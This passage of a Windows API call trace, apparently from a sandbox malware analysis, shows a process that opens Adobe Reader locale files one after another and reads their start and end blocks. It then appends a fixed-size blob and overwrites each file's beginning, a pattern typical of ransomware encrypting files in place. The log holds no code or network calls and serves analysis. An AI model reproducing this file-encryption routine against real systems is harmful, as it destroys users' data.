lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.085] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe200 [0045.085] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.085] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.086] WriteFile (in: hFile=0x170, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0045.086] CloseHandle (hObject=0x170) returned 1 [0045.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.086] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.086] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe4 [0045.086] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.086] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.086] ReleaseMutex (hMutex=0x128) returned 1 [0045.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0045.087] ReadFile (in: hFile=0x170, lpBuffer=0x1dd1f98, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1f98*, lpNumberOfBytesRead=0x304f2bc*=0xe4, lpOverlapped=0x0) returned 1 [0045.087] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0045.087] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x66c, lpOverlapped=0x0) returned 1 [0045.088] CloseHandle (hObject=0x170) returned 1 [0045.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DigSig.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\digsig.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.088] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.088] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x15400 [0045.088] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.088] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.088] ReleaseMutex (hMutex=0x128) returned 1 [0045.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.KOR", lpUsedDefaultChar=0x0) returned 10 [0045.089] ReadFile (in: hFile=0x170, lpBuffer=0x2617c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0045.648] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x14400 [0045.648] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.648] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x14400 [0045.649] WriteFile (in: hFile=0x170, lpBuffer=0x3a4de58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4de58*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.649] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.649] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0045.649] CloseHandle (hObject=0x170) returned 1 [0045.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\ReadOutLoud.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\readoutloud.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.650] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.650] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2400 [0045.650] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.650] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.650] ReleaseMutex (hMutex=0x128) returned 1 [0045.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x1e630ac, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.KOR", lpUsedDefaultChar=0x0) returned 15 [0045.650] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.651] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1400 [0045.651] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.652] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1400 [0045.652] WriteFile (in: hFile=0x170, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.652] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.652] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.652] CloseHandle (hObject=0x170) returned 1 [0045.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.653] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.653] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa400 [0045.653] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.653] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.653] ReleaseMutex (hMutex=0x128) returned 1 [0045.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0045.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NOR", lpUsedDefaultChar=0x0) returned 17 [0045.654] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0045.655] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9400 [0045.655] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.656] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9400 [0045.656] WriteFile (in: hFile=0x170, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.656] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.656] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0045.656] CloseHandle (hObject=0x170) returned 1 [0045.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\IA32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ia32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.657] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.657] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe00 [0045.657] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.657] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.657] ReleaseMutex (hMutex=0x128) returned 1 [0045.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0045.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NOR", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NOR", lpUsedDefaultChar=0x0) returned 8 [0045.657] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0045.658] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0045.658] WriteFile (in: hFile=0x170, lpBuffer=0x3a49e28*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a49e28*, lpNumberOfBytesWritten=0x304f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0045.659] CloseHandle (hObject=0x170) returned 1 [0045.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SendMail.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\sendmail.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.659] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.659] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3a00 [0045.659] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.659] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.659] ReleaseMutex (hMutex=0x128) returned 1 [0045.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0045.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NOR", lpUsedDefaultChar=0x0) returned 12 [0045.659] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.661] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2a00 [0045.661] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.661] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2a00 [0045.661] WriteFile (in: hFile=0x170, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.661] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.662] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.662] CloseHandle (hObject=0x170) returned 1 [0045.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\BRdlang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\brdlang32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.662] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.662] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3800 [0045.662] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.663] ReleaseMutex (hMutex=0x128) returned 1 [0045.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x1e6342c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NLD", lpUsedDefaultChar=0x0) returned 13 [0045.663] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.664] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2800 [0045.664] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.664] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2800 [0045.665] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.665] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.665] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.665] CloseHandle (hObject=0x170) returned 1 [0045.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\PPKLITE.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ppklite.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.666] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.666] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x84200 [0045.666] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.666] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.666] ReleaseMutex (hMutex=0x128) returned 1 [0045.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NLD", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NLD", lpUsedDefaultChar=0x0) returned 11 [0045.666] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.671] ReadFile (in: hFile=0x170, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.674] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x83200 [0045.674] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.676] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x83200 [0045.676] WriteFile (in: hFile=0x170, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.676] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.677] WriteFile (in: hFile=0x170, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0045.677] WriteFile (in: hFile=0x170, lpBuffer=0x260fc18*, 